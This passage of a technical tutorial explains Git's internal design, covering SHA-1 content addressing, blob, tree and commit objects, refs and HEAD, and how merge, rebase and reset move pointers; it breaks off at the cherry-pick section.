&lt;/blockquote&gt;
&lt;h3&gt;0.1 Why?&lt;/h3&gt;
&lt;p&gt;Linus&apos;s needs weren&apos;t those of an ordinary developer; what he managed was &lt;strong&gt;the most complex collaborative project in the world&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;His daily work looked like this:&lt;/p&gt;
&lt;p&gt;Developers around the world send their patches to the maintainers of each subsystem, the subsystem maintainers organise them and send them to Linus, and Linus finally decides what goes into the kernel&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;tree-shaped network of trust&lt;/strong&gt;, not a centralised commit system&lt;/p&gt;
&lt;p&gt;So the tool he needed had to satisfy:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. It has to work offline&lt;/strong&gt;
Developers must be able to commit, view history and branch without a network connection&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. It has to be fast&lt;/strong&gt;
The Linux kernel is millions of lines of code, and operations must complete in seconds or even milliseconds. He mocked CVS at the time: &quot;If an operation takes more than 3 seconds, the design is wrong.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. History must be tamper-proof&lt;/strong&gt;
He had to be able to verify that the code a developer sent him, from the moment they wrote the first line to the moment it reached Linus&apos;s hands, hadn&apos;t been touched by anyone along the way. Not by trust, but by &lt;strong&gt;mathematics&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Branch merging has to be good enough&lt;/strong&gt;
The Linux development model is inherently parallel, with dozens of development lines advancing at once; merging must be reliable and must be fast. SVN&apos;s merges are a nightmare — unacceptable to him&lt;/p&gt;
&lt;p&gt;April 3, 2005: Linus starts writing Git&lt;/p&gt;
&lt;p&gt;April 7, 2005: Git can host its own source code&lt;/p&gt;
&lt;p&gt;April 18, 2005: Linux kernel developers start collaborating with Git&lt;/p&gt;
&lt;p&gt;June 2005: Linux 2.6.12 is officially released with Git&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;From zero to hosting the world&apos;s largest open-source project in under three months&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;0.2 diff vs snapshot&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The essence of version control isn&apos;t recording &quot;how the files changed&quot;, but recording &quot;what the complete state of the project was at each moment&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CVS and SVN record &lt;strong&gt;diffs&lt;/strong&gt;, i.e. which lines changed this time&lt;/p&gt;
&lt;p&gt;Linus thought that was wrong&lt;/p&gt;
&lt;p&gt;What he wanted to record was a &lt;strong&gt;snapshot&lt;/strong&gt;; every commit is a complete snapshot of the entire project&lt;/p&gt;
&lt;p&gt;This one decision led to almost all of Git&apos;s design&lt;/p&gt;
&lt;h2&gt;1. One decision led to all the design&lt;/h2&gt;
&lt;p&gt;Linus sat there not thinking &quot;how should I design a version control tool&quot;&lt;/p&gt;
&lt;p&gt;He was thinking about a more fundamental question:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What does &quot;the same code&quot; mean?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1000 developers, each with a copy of the Linux kernel code on their machine. How do I know whether yours and mine are in the same state? How do I know which state the patch you sent me was written against?&lt;/p&gt;
&lt;p&gt;SVN&apos;s answer at the time was to look at the revision number: r1042 is r1042&lt;/p&gt;
&lt;p&gt;Linus thought that was bullshit. Revision numbers are assigned by a central server; you have to trust that server. And a revision number is just a counter; it contains no information about the content itself&lt;/p&gt;
&lt;h3&gt;1.1 The content itself is the identity&lt;/h3&gt;
&lt;p&gt;Linus&apos;s idea was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Don&apos;t identify a piece of code with an externally assigned ID; use the hash of the code content itself&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Specifically, hash the entire content of a file with SHA-1 to get a 40-character string&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA-1(&quot;Chongxi&quot;) = f5c3bc7e6fcd7b7b8d04b99f5d7e607302d3a911
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This string has a mathematical property:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the content changes, the hash necessarily changes. If the hash hasn&apos;t changed, the content necessarily hasn&apos;t changed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This isn&apos;t a protocol, isn&apos;t trust — it&apos;s a mathematical proof&lt;/p&gt;
&lt;p&gt;So two people holding the same hash value can confirm the files in their hands are completely identical, without needing any third party&lt;/p&gt;
&lt;h3&gt;1.2 But a single file isn&apos;t enough; he needs the whole project&lt;/h3&gt;
&lt;p&gt;A file can be hashed; what about the whole project?&lt;/p&gt;
&lt;p&gt;The Linux kernel has tens of thousands of files spread across hundreds of directories. Linus needed a way to represent the state of the entire project with &lt;strong&gt;one hash value&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;His solution was to hash recursively:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;the content of main.c     → hash A
the content of util.c     → hash B
the src/ directory        → hash(A + B + filename) = hash C
the content of README     → hash D
the root directory        → hash(C + D + filename) = hash E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The root directory&apos;s hash E is computed from the hashes of all child nodes&lt;/p&gt;
&lt;p&gt;This means:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;If any file changes by a single byte, every parent node&apos;s hash above it changes, all the way up, and the root hash changes too&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Conversely: &lt;strong&gt;if the root hash hasn&apos;t changed, not a single byte of the entire project has changed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is Git&apos;s &lt;strong&gt;tree object&lt;/strong&gt;, and also the core idea of the Merkle Tree&lt;/p&gt;
&lt;h3&gt;1.3 Snapshot&lt;/h3&gt;
&lt;p&gt;With tree objects, Linus could lock the state of the entire project to &lt;strong&gt;one hash value&lt;/strong&gt; at any moment&lt;/p&gt;
&lt;p&gt;Then he wrapped another layer around the outside, adding metadata:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit {
  tree:    e5f8c2...   ← the root hash of the entire project at this moment
  parent:  a3d9f1...   ← the hash of the previous commit
  author:  Linus
  time:    2005-04-07
  message: &quot;Initial commit&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then he hashed this entire structure once more to get this commit&apos;s hash value&lt;/p&gt;
&lt;p&gt;There&apos;s a very crucial point here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The commit&apos;s hash contains the parent&apos;s hash&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means you can&apos;t quietly modify the content of some commit in history without changing the hash. Change that commit and its hash changes; the parent hash recorded by the next commit no longer matches, and the one after that doesn&apos;t match either — &lt;strong&gt;the entire chain breaks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;History is locked with cryptography — not by permission control, not by trust, but by mathematics&lt;/p&gt;
&lt;h3&gt;1.4 snapshot vs diff: who will win&lt;/h3&gt;
&lt;p&gt;SVN stores:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r1: the original file
r2: line 3 changed to this
r3: line 17 deleted, line 20 added this
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To know the state at r3, you have to stack up all the diffs from the beginning and compute&lt;/p&gt;
&lt;p&gt;Git stores:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit1: hash E1 of the entire project
commit2: hash E2 of the entire project
commit3: hash E3 of the entire project
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To know the state at any moment, just take that hash, find the corresponding tree, and expand it. &lt;strong&gt;No computation, no replay&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The cost is storage space? Git solved that with object deduplication: if a file hasn&apos;t changed between two commits, their blob hashes are the same, and Git stores only one copy&lt;/p&gt;
&lt;h3&gt;1.5 What can we derive from this&lt;/h3&gt;
&lt;p&gt;At this point, Linus had not yet invented &lt;strong&gt;branches&lt;/strong&gt;, had not invented &lt;strong&gt;merge&lt;/strong&gt;, had not invented any advanced concept&lt;/p&gt;
&lt;p&gt;He had done only one thing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Use hashes to lock the project state at each moment into a tamper-proof object, and use parent pointers to string these objects into a chain&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Everything that remains — branches, merging, rebase — grew naturally out of this foundation&lt;/p&gt;
&lt;h2&gt;2. The object model&lt;/h2&gt;
&lt;p&gt;Git isn&apos;t a complex version control system&lt;/p&gt;
&lt;p&gt;Linus&apos;s earliest definition was very plain:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Git is a content-addressable filesystem. You put things in, it gives you a hash. Hold the hash, and you can get the thing back out at any time&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That&apos;s all&lt;/p&gt;
&lt;p&gt;You can open any Git repository and look at the &lt;code&gt;.git/objects/&lt;/code&gt; directory; what&apos;s stored inside is all the objects, split into folders by the first two characters of the hash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.git/objects/
  a3/f8c2d9b1e4...   ← this is one object file
  d9/f3a1b2c4e5...
  e5/c2f8a3d9b1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The content of each file is compressed object data. A whole Git repository is, in essence, this folder&lt;/p&gt;
&lt;h3&gt;2.1 blob&lt;/h3&gt;
&lt;p&gt;The simplest object in Git is called a &lt;strong&gt;blob&lt;/strong&gt;; it stores the raw content of a file, without the filename, without any metadata&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blob &quot;CEPATO&quot;
↓ SHA-1
d1fcd7b25f99b9f9d1a577557f45c10b6c1f9642
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;A blob doesn&apos;t know what it&apos;s called, nor which directory it&apos;s in&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Filenames are a matter for the upper layer; blobs only care about content&lt;/p&gt;
&lt;p&gt;This design has one direct benefit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Two files with completely identical content at different paths — Git stores only one blob&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.2 tree&lt;/h3&gt;
&lt;p&gt;Filenames and directory structure are handed to &lt;strong&gt;tree objects&lt;/strong&gt; to manage&lt;/p&gt;
&lt;p&gt;A tree object is just a table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tree d9f3a1... {
  100644  blob  8c7e5a...  main.c
  100644  blob  f7d8e9...  util.c
  040000  tree  b2c4e5...  src/
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each line records: file permissions, object type, hash value, name&lt;/p&gt;
&lt;p&gt;Trees can nest trees, and that builds the complete directory structure&lt;/p&gt;
&lt;p&gt;Then hash this table to get the hash value of this tree&lt;/p&gt;
&lt;p&gt;Because a tree&apos;s hash is computed from its children&apos;s hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main.c&apos;s content changed
→ main.c&apos;s blob hash changed
→ the tree containing it changed
→ the upper tree hash changed
→ the root tree hash changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any change in any leaf is reflected all the way up to the root node&lt;/p&gt;
&lt;p&gt;:::tips
Let me clarify something here. A friend came to me with a question separately; I thought the question was good, so I&apos;m putting it out separately to talk about&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Git&apos;s tree is not a hash table&lt;/strong&gt;; it&apos;s more like an &lt;strong&gt;ordered list&lt;/strong&gt;, storing a mapping of &lt;strong&gt;filename → child node hash&lt;/strong&gt;, but the lookup method is linear traversal, not hash-table O(1) addressing&lt;/p&gt;
&lt;p&gt;Compared with the Patricia Trie part of an MPT&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git tree:  filename → child node hash  // simple mapping, no lookup optimisation
MPT:       path     → leaf value       // prefix-compressed, O(log n) lookup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two look very similar on the surface — both are &lt;strong&gt;some kind of key pointing at a hash&lt;/strong&gt; — but the design goals differ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Git&apos;s tree doesn&apos;t need efficient lookup; you checkout a commit and Git just expands the whole tree, with no need to frequently query individual nodes&lt;/li&gt;
&lt;li&gt;Ethereum&apos;s MPT needs efficient lookup, because every transaction has to query the state of a particular account individually, and O(n) is unacceptable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So a simple structure is enough for Git, and only Ethereum needs a Patricia Trie for optimisation&lt;/p&gt;
&lt;p&gt;In other words, &lt;strong&gt;Git&apos;s tree is for describing state, MPT is for querying state efficiently&lt;/strong&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.3 commit&lt;/h3&gt;
&lt;p&gt;With trees, we can represent the state of the project at a certain moment&lt;/p&gt;
&lt;p&gt;But two things are still missing: &lt;strong&gt;who created this state and when, and what its previous state was&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s the commit object:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit a3f8c2... {
  tree:    d9f3a1...   ← root tree, representing all files at this moment
  parent:  prev_hash   ← the previous commit
  author:  Linus Torvalds
  time:    2005-04-07 15:16:22
  message: &quot;Initial commit&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then hash this entire structure to get this commit&apos;s hash&lt;/p&gt;
&lt;p&gt;Because the commit hash contains the parent hash, and the parent hash contains its parent, all the way back to the first commit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The entire history chain is locked by a single hash value&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Holding the latest commit hash, you can verify that every change to every line of code, from the first day to today, hasn&apos;t been touched by anyone&lt;/p&gt;
&lt;h3&gt;2.4&lt;/h3&gt;
&lt;p&gt;Now let&apos;s look at the three layers together:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit a3f8c2
  └── tree d9f3a1  （root directory）
        ├── blob 8c7e5a   main.c
        ├── blob f7d8e9   util.c
        └── tree b2c4e5   src/
              └── blob 3a9f1c   helper.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each node is an independent object, stored in &lt;code&gt;.git/objects/&lt;/code&gt; and addressed by hash&lt;/p&gt;
&lt;p&gt;There&apos;s no containment relationship between them, only &lt;strong&gt;reference&lt;/strong&gt; relationships. Each object records only its child nodes&apos; hashes, without copying their content&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Suppose you make a second commit, changing only &lt;code&gt;main.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit e5c2f8
  └── tree 7a1b3d  （the new root tree）
        ├── blob 9f2e4a   main.c   ← new blob
        ├── blob f7d8e9   util.c   ← same as last time
        └── tree b2c4e5   src/     ← same as last time
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;util.c&lt;/code&gt; and the &lt;code&gt;src/&lt;/code&gt; directory didn&apos;t change, so Git &lt;strong&gt;reuses&lt;/strong&gt; their objects directly — no copying, no re-storing&lt;/p&gt;
&lt;p&gt;For two commits, Git created only three new objects: the new blob, the new root tree, and the new commit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Git stores snapshots, but because of object reuse, the space actually used is close to storing diffs&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can have your cake and eat it too&lt;/p&gt;
&lt;h3&gt;2.5 Branches&lt;/h3&gt;
&lt;p&gt;Having derived this far, Git&apos;s storage layer is already complete: a hash object database containing blobs, trees and commits, connected into trees by references, and strung into a timeline by parent pointers&lt;/p&gt;
&lt;p&gt;But there&apos;s one problem:&lt;/p&gt;
&lt;p&gt;A commit&apos;s hash is a string like &lt;code&gt;a3f8c2d9b1e4f7...&lt;/code&gt;, and humans can&apos;t memorise that&lt;/p&gt;
&lt;p&gt;How do you find the latest commit?&lt;/p&gt;
&lt;h2&gt;3. Pointers&lt;/h2&gt;
&lt;p&gt;The object database is built, holding thousands of objects, each with a 40-character hash address&lt;/p&gt;
&lt;p&gt;Linus faced a very practical problem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How do I know where the latest commit is?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Write the latest commit hash down on paper every time? That would be direct, sure&lt;/p&gt;
&lt;p&gt;git &lt;strong&gt;stores this hash in a text file, and gives that file a human-readable name&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s a branch. &lt;em&gt;Yep, that simple&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;3.1 refs&lt;/h3&gt;
&lt;p&gt;Git puts these text files together in the &lt;code&gt;.git/refs/&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.git/refs/
  heads/
    main        ← content: a3f8c2d9...
    feature     ← content: d9f3a1b2...
  remotes/
    origin/
      main      ← content: e5c2f8a3...
  tags/
    v1.0        ← content: f7d8e9b1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can open these files directly and look — inside is just one line of hash value, nothing else&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/refs/heads/main
# a3f8c2d9b1e4f7a8b2c3d4e5f6a7b8c9d0e1f2a3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 The essence of a branch&lt;/h3&gt;
&lt;p&gt;So &quot;creating a new branch&quot; — what actually happens at the filesystem level?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What happened:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a new file called &lt;code&gt;feature&lt;/code&gt; under &lt;code&gt;.git/refs/heads/&lt;/code&gt;, and write the current commit&apos;s hash into it&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That&apos;s it. No copying code, no copying history, none of the enterprise-grade operations you might imagine — just this simple&lt;/p&gt;
&lt;p&gt;This is why creating a branch in Git is instant, while creating a branch in SVN requires copying the entire directory&lt;/p&gt;
&lt;h3&gt;3.3 How branches move&lt;/h3&gt;
&lt;p&gt;You commit new code on the &lt;code&gt;feature&lt;/code&gt; branch, producing a new commit &lt;code&gt;b2c4e5...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What happened:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update the hash in the &lt;code&gt;.git/refs/heads/feature&lt;/code&gt; file to &lt;code&gt;b2c4e5...&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It&apos;s just changing one line of text in one file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Before the commit: feature file content = a3f8c2...
After the commit:  feature file content = b2c4e5...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The branch follows you along; in essence it&apos;s this file updating itself&lt;/p&gt;
&lt;h3&gt;3.4 HEAD&lt;/h3&gt;
&lt;p&gt;Now you have two branches, &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;feature&lt;/code&gt;. How does Git know &lt;strong&gt;which branch you&apos;re currently on&lt;/strong&gt;?&lt;/p&gt;
&lt;p&gt;Add one more file, called &lt;strong&gt;HEAD&lt;/strong&gt;, placed in &lt;code&gt;.git/HEAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/HEAD
# ref: refs/heads/feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It doesn&apos;t store a commit hash, but &lt;strong&gt;a reference pointing to a branch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEAD → refs/heads/feature → b2c4e5...（commit）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you commit new code:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a new commit object&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;feature&lt;/code&gt; file is updated to the new hash&lt;/li&gt;
&lt;li&gt;HEAD doesn&apos;t move; it still points to &lt;code&gt;feature&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.5 What about switching branches&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git checkout main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What happened:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Change &lt;code&gt;.git/HEAD&lt;/code&gt; to:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ref: refs/heads/main
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Based on the commit that &lt;code&gt;main&lt;/code&gt; points to, expand the corresponding file tree into your working directory&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You see the files change; in essence Git has rewritten your working directory with content from the object database&lt;/p&gt;
&lt;h3&gt;3.6 detached HEAD&lt;/h3&gt;
&lt;p&gt;Now we understand that HEAD is a pointer to a branch&lt;/p&gt;
&lt;p&gt;But if you checkout a commit hash directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout a3f8c2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point there&apos;s no branch it can point to, so HEAD can only store the hash directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .git/HEAD
# a3f8c2d9b1e4f7...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a &lt;strong&gt;detached HEAD&lt;/strong&gt; — the head pointer detached&lt;/p&gt;
&lt;p&gt;Why does everyone say the detached state is dangerous?&lt;/p&gt;
&lt;p&gt;Because commits you make in this state produce new commits. But no branch file records the new commit&apos;s hash&lt;/p&gt;
&lt;p&gt;Once you switch to another branch, HEAD updates, and &lt;strong&gt;nothing points to&lt;/strong&gt; that new commit&apos;s hash anymore&lt;/p&gt;
&lt;p&gt;It&apos;s still lying in &lt;code&gt;.git/objects/&lt;/code&gt;, but you can never find it again&lt;/p&gt;
&lt;p&gt;Git periodically runs garbage collection, cleaning up objects that no reference points to. Your commit just disappears like that&lt;/p&gt;
&lt;h3&gt;3.7 Remote pointers&lt;/h3&gt;
&lt;p&gt;Finally there&apos;s another kind of pointer, placed under &lt;code&gt;.git/refs/remotes/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;origin/main     ← content: the hash of the remote main at the last fetch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Its job is: &lt;strong&gt;record the state of the remote repository at your last sync&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s read-only; you can&apos;t commit on it directly. It only updates when you &lt;code&gt;git fetch&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What &lt;code&gt;git push&lt;/code&gt; and &lt;code&gt;git pull&lt;/code&gt; essentially do is make these local and remote pointers line up&lt;/p&gt;
&lt;h3&gt;3.8 Summary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HEAD
  └── refs/heads/main       → commit C4
  └── refs/heads/feature    → commit C5

  refs/remotes/origin/main  → commit C3 （the state at the last fetch）

  refs/tags/v1.0            → commit C1 （doesn&apos;t move）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The object database is immutable; the pointer system is mutable&lt;/strong&gt;&lt;br /&gt;
Every Git operation is essentially moving these pointers, or adding objects to the object database&lt;/p&gt;
&lt;h2&gt;4. The essence of the core everyday operations&lt;/h2&gt;
&lt;p&gt;Let&apos;s first set up a scenario; all the operations below are based on it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3          main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; points to C3, &lt;code&gt;feature&lt;/code&gt; points to C5, and C4 and C5 forked off from C3.&lt;/p&gt;
&lt;h3&gt;4.1 merge: create a new node&lt;/h3&gt;
&lt;p&gt;You&apos;re on &lt;code&gt;main&lt;/code&gt; and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git merge feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git does the following&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find the branches&apos; parent node&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; is at C3, &lt;code&gt;feature&lt;/code&gt; is at C5; follow the parents upward and the parent node is C3&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;diff&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C3&apos;s file state
What main changed between C3 → C3
What feature changed between C3 → C5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If different places changed, merge automatically. If the same place changed, conflict — you resolve it by hand&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Generate a new commit C6&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;commit C6 {
  tree:    the merged file state
  parent:  C3   ← the main side
  parent:  C5   ← the feature side
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C6 has &lt;strong&gt;two parents&lt;/strong&gt;, which is entirely legal in Git&apos;s object model&lt;/p&gt;
&lt;p&gt;Then the &lt;code&gt;main&lt;/code&gt; pointer moves to C6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C6       main
           ↑    ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The essence of merge is &lt;strong&gt;creating a new node in the object database, joining the two lines together, and moving the current branch pointer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;History stays real; the fork and the join are both preserved&lt;/p&gt;
&lt;h3&gt;4.2 rebase: rebuild the nodes, change their dad&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3          main
           ↑
           └── C4 ← C5  feature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same scenario; you&apos;re on &lt;code&gt;feature&lt;/code&gt; and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git then &lt;strong&gt;replays the two commits C4 and C5 after C3&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find the common parent node C3&lt;/li&gt;
&lt;li&gt;Extract the change content of C4 and C5&lt;/li&gt;
&lt;li&gt;Starting from main&apos;s latest position C3, reapply these changes one by one, generating new commits&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C4 → C4&apos;（parent changed from C2 to C3）
C5 → C5&apos;（parent changed from C4 to C4&apos;）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4&apos; and C4 may have the same file content, but completely different hash values, because the parent changed&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4&apos; ← C5&apos;   feature
           ↑
          main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;History becomes a straight line, as if feature had always been developed sequentially after C3&lt;/p&gt;
&lt;p&gt;The essence of rebase is &lt;strong&gt;copying a stretch of commit history to another position and rebuilding it; the original objects are still in the database, but no pointers point at them anymore&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Note that C4 and C4&apos; both exist in &lt;code&gt;.git/objects/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After the rebase, the &lt;code&gt;feature&lt;/code&gt; pointer has moved to C5&apos;, and no pointer points at the original C4 and C5 anymore&lt;/p&gt;
&lt;p&gt;They get cleaned up when Git garbage collects&lt;/p&gt;
&lt;p&gt;That&apos;s why after a rebase we say &quot;history has been rewritten&quot;: &lt;strong&gt;the original commits are abandoned, and a batch of parallel objects has been forked&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.3 reset: move the pointer, create no new nodes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git reset C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This operation is the simplest and also the easiest to misunderstand&lt;/p&gt;
&lt;p&gt;It does only one thing:&lt;br /&gt;
&lt;strong&gt;forcibly move the current branch&apos;s pointer to the specified commit&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Before: main → C5
After:  main → C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C4 and C5 are still in the object database, but &lt;code&gt;main&lt;/code&gt; no longer points at them&lt;/p&gt;
&lt;p&gt;reset has three modes; the difference lies in &lt;strong&gt;how the working directory and staging area are handled&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--soft   move the pointer only; working directory and staging area untouched
--mixed  move the pointer, clear the staging area, working directory untouched (default)
--hard   move the pointer, clear the staging area, roll back the working directory too
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the pointer&apos;s perspective, all three modes do the same thing. The only difference is how the files in your working directory change&lt;/p&gt;
&lt;h3&gt;4.4 cherry-pick: copy a single node&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git cherry-pick C4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;re on &lt;code&gt;main&lt;/code&gt; and want to bring over a single commit from &lt;code&gt;feature&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The operation:&lt;/p&gt;
